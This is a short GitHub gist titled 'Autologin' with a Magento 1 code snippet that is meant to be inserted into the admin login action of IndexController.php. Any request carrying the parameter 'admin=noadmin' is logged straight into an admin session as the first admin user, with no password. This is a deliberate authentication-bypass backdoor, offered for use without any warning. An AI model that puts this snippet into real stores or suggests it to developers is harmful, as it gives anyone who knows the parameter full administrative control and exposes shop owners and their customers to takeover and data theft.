Skip to content

Instantly share code, notes, and snippets.

@mrtuvn
Last active December 13, 2018 07:14
Show Gist options
  • Save mrtuvn/c49fa5a06037ee95329db577a6f01aa8 to your computer and use it in GitHub Desktop.
Save mrtuvn/c49fa5a06037ee95329db577a6f01aa8 to your computer and use it in GitHub Desktop.
Autologin
app\code\core\Mage\Adminhtml\controllers\IndexController.php
add this to first line login action
$ad = Mage::app()->getRequest()->getParam('admin', false);
if($ad == 'noadmin'){
Mage::getSingleton('admin/session')->setUser(Mage::getModel('admin/user')->getCollection()->getFirstItem());
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment